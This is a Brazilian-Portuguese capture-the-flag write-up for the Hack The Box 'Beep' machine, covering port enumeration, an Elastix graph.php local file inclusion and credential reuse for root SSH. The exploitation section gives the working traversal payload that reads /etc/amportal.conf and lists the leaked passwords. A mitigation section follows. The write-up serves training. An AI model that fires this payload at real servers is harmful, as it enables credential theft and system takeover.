Beep - HTB Easy Machine - Português Brasil

OS Linux
Difficulty Easy
User Owns 24.9K
Root Owns 25.8K
Rating 4.7/5
Release 2017/03/15
Creator ch4p
First Blood User rkmylo
First Blood Root rkmylo
User Rated Difficulty

Sobre

O Beep possui uma lista muito grande de serviços em execução, o que pode tornar um pouco desafiador encontrar o método de entrada correto. Esta máquina pode ser opressiva para alguns, pois há muitos vetores de ataque potenciais. Felizmente, existem vários métodos disponíveis para obter acesso.

Exploração

Enumeração

O scan do nmap revelou múltiplas portas abertas executando vários serviços:

PORT      STATE SERVICE    VERSION  
22/tcp    open  ssh        OpenSSH 4.3 (protocol 2.0)  
| ssh-hostkey:    
|   1024 ad:ee:5a:bb:69:37:fb:27:af:b8:30:72:a0:f9:6f:53 (DSA)  
|_  2048 bc:c6:73:59:13:a1:8a:4b:55:07:50:f6:65:1d:6d:0d (RSA)  
25/tcp    open  smtp       Postfix smtpd  
|_smtp-commands: beep.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, ENHANCEDSTATUSCODES, 8BITMIME, DSN  
80/tcp    open  http       Apache httpd 2.2.3  
|_http-title: Did not follow redirect to https://10.10.10.7/  
|_http-server-header: Apache/2.2.3 (CentOS)  
110/tcp   open  pop3       Cyrus pop3d 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4  
|_pop3-capabilities: AUTH-RESP-CODE USER TOP UIDL EXPIRE(NEVER) IMPLEMENTATION(Cyrus POP3 server v2) APOP PIPELINING LOGIN-DELAY(0) RESP-CODES STLS  
111/tcp   open  rpcbind    2 (RPC #100000)  
| rpcinfo:    
|   program version    port/proto  service  
|   100000  2            111/tcp   rpcbind  
|   100000  2            111/udp   rpcbind  
|   100024  1            790/udp   status  
|_  100024  1            793/tcp   status  
143/tcp   open  imap       Cyrus imapd 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4  
|_imap-capabilities: IDLE Completed BINARY IMAP4 CHILDREN X-NETSCAPE OK MULTIAPPEND MAILBOX-REFERRALS SORT=MODSEQ ANNOTATEMORE NAMESPACE ACL QUOTA LITERAL+ CONDSTORE SORT LISTEXT LIST-SUBSCRIBED UNSELECT RIGHTS=kxte RENAME ID CATENATE AT  
OMIC UIDPLUS STARTTLS THREAD=REFERENCES THREAD=ORDEREDSUBJECT URLAUTHA0001 NO IMAP4rev1  
443/tcp   open  ssl/https?  
|_ssl-date: 2025-09-10T20:38:53+00:00; 0s from scanner time.  
| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--  
| Not valid before: 2017-04-07T08:22:08  
|_Not valid after:  2018-04-07T08:22:08  
793/tcp   open  status     1 (RPC #100024)  
993/tcp   open  ssl/imap   Cyrus imapd  
|_imap-capabilities: CAPABILITY  
995/tcp   open  pop3       Cyrus pop3d  
3306/tcp  open  mysql?  
4190/tcp  open  sieve      Cyrus timsieved 2.3.7-Invoca-RPM-2.3.7-7.el5_6.4 (included w/cyrus imap)  
4445/tcp  open  upnotifyp?  
4559/tcp  open  hylafax    HylaFAX 4.3.10  
5038/tcp  open  asterisk   Asterisk Call Manager 1.1  
10000/tcp open  http       MiniServ 1.570 (Webmin httpd)  
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).  
Service Info: Hosts:  beep.localdomain, 127.0.0.1, example.com, localhost; OS: Unix

Começando com a enumeração web, já que aplicações web normalmente servem como pontos de entrada primários para exploração de vulnerabilidades:

Tip

Talvez seja necessário ajustar as configurações de versão TLS aceitas pelo seu navegador. A máquina Beep usa uma versão muito desatualizada. Esta página de suporte fornece orientações de configuração para Firefox. Para outros navegadores, consulte suas respectivas documentações. Note que alguns navegadores não permitem essa mudança de configuração, pois representa riscos de segurança.

A tentativa de injeção SQL básica resultou na negação de acesso pelo site sem exibir mensagens de erro, indicando que ataques de injeção provavelmente não são o vetor de exploração para esta interface:

Screenshot

O exame do código fonte da página revelou implementação em PHP. Foi realizado um scan de enumeração de diretórios com feroxbuster, mas não retornou resultados bem-sucedidos, sugerindo que quaisquer páginas adicionais ou não retornam códigos de status HTTP 200 ou estão localizadas em subdiretórios não descobertos pelo scan:

Screenshot
└─ $ feroxbuster -u http://10.10.10.7 --silent -x php

Antes de abandonar esta abordagem, tentei acessar manualmente o diretório admin. Ele solicitou credenciais de autenticação, as quais eu não possuía. Ao cancelar, o site me redirecionou para /admin/config.php. Embora eu ainda não tivesse autorização, isso forneceu uma dica valiosa sobre a estrutura da aplicação:

Screenshot

Redirecionamento para:

Screenshot

Ponto de Entrada

A pesquisa sobre FreePBX 2.8.1.4 não revelou vulnerabilidades específicas, mas a investigação do Elastix revelou um exploit no exploit-db indicando que a aplicação é vulnerável a Local File Inclusion (LFI) e ataques de leitura de arquivo local.

O teste do payload /vtigercrm/graph.php?current_language=../../../../../../../..//etc/amportal.conf%00&module=Accounts&action na página confirmou que a vulnerabilidade funciona sem necessitar de modificações.

Esta página expôs credenciais e nomes de usuário que poderiam potencialmente ser usados para autenticação de login na página inicial ou acesso SSH, embora nomes de usuário ainda fossem necessários para exploração bem-sucedida:

Screenshot

Extraí as variáveis de ambiente mais relevantes deste arquivo de configuração:

AMPDBHOST=localhost 
AMPDBENGINE=mysql 
#AMPDBNAME=asterisk 
AMPDBUSER=asteriskuser 
#AMPDBPASS=amp109 
AMPDBPASS=jEhdIekWmdjE 
AMPENGINE=asterisk 
AMPMGRUSER=admin 
#AMPMGRPASS=amp111 
AMPMGRPASS=jEhdIekWmdjE
#FOPRUN=true 
FOPWEBROOT=/var/www/html/panel 
#FOPPASSWORD=passw0rd 
FOPPASSWORD=jEhdIekWmdjE

Retornando à tela de login inicial, usando o nome de usuário admin e senha jEhdIekWmdjE obtive acesso com sucesso ao portal administrativo:

Screenshot Screenshot

Dado o sucesso da autenticação no portal administrativo com essas credenciais, foi lógico tentar acesso SSH, especialmente porque a porta 22 SSH estava aberta. Felizmente, o login SSH como root foi bem-sucedido usando as mesmas credenciais. A partir deste ponto, o objetivo era simplesmente localizar as flags.

A conexão SSH exigiu ajustes específicos devido à versão desatualizada do SSH da máquina comparada às configurações modernas de terminal:

┌── ➤ beep  
└─ $ ssh -oKexAlgorithms=+diffie-hellman-group14-sha1 -oHostKeyAlgorithms=+ssh-rsa root@10.10.10.7  
  
The authenticity of host '10.10.10.7 (10.10.10.7)' can't be established.  
RSA key fingerprint is SHA256:Ip2MswIVDX1AIEPoLiHsMFfdg1pEJ0XXD5nFEjki/hI.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '10.10.10.7' (RSA) to the list of known hosts.  
root@10.10.10.7's password:    
Last login: Tue Jul 16 11:45:47 2019  
  
Welcome to Elastix    
----------------------------------------------------  
  
To access your Elastix System, using a separate workstation (PC/MAC/Linux)  
Open the Internet Browser using the following URL:  
http://10.10.10.7  
  
[root@beep ~]# whoami  
root

USER

[root@beep fanis]# cat user.txt    
5e202e546efa613.....

ROOT

[root@beep ~]# cat root.txt    
ef2972e1b1186d.....

Análise

Vulnerabilidade Primária: Local File Inclusion (LFI)

A aplicação Elastix 2.2.0 contém uma vulnerabilidade de Local File Inclusion no endpoint /vtigercrm/graph.php. Esta vulnerabilidade decorre da sanitização inadequada de entrada do parâmetro current_language, permitindo que atacantes atravessem o sistema de arquivos usando sequências de travessia de diretório (../../../).

O exploit recuperou com sucesso o arquivo /etc/amportal.conf, que continha informações sensíveis de configuração incluindo credenciais de banco de dados, senhas administrativas e detalhes de configuração do sistema.

Vulnerabilidade Secundária: Reutilização de Credenciais

As credenciais extraídas do arquivo de configuração (admin:jEhdIekWmdjE) foram reutilizadas em múltiplos serviços:

  • Painel de administração web do Elastix
  • Acesso SSH como root
  • Conexões de banco de dados
  • Interfaces administrativas

Este padrão de reutilização de credenciais amplificou significativamente o impacto da vulnerabilidade LFI inicial, permitindo escalação imediata de privilégios da divulgação de arquivos ao comprometimento completo do sistema.

Mitigação

  • Sempre procure por notas de patch e atualize os serviços para as versões estáveis mais recentes
  • Implemente validação rigorosa de entrada para todos os parâmetros fornecidos pelo usuário
  • Use validação baseada em whitelist para parâmetros de caminho de arquivo
  • Sanitize e valide todas as entradas do usuário antes do processamento
  • Implemente mecanismos adequados de codificação/decodificação
  • Nunca use senhas padrão e compartilhadas em todos os serviços
  • Implemente permissões adequadas do sistema de arquivos e restrinja o acesso da aplicação web apenas aos diretórios necessários

Observações

Se gostou desse writeup, me envie um respect no meu perfil do hackthebox. Eu ficaria muito feliz em saber que estou te ajudando em algo.
Se algo escrito aqui não estiver claro, recomendo consultar a seção cookbook. Se não encontrar a resposta ou precisar de mais esclarecimentos, entre em contato pelo email.

Referências

The master 0xdf
Elastix 2.2.0 - 'graph.php' Local File Inclusion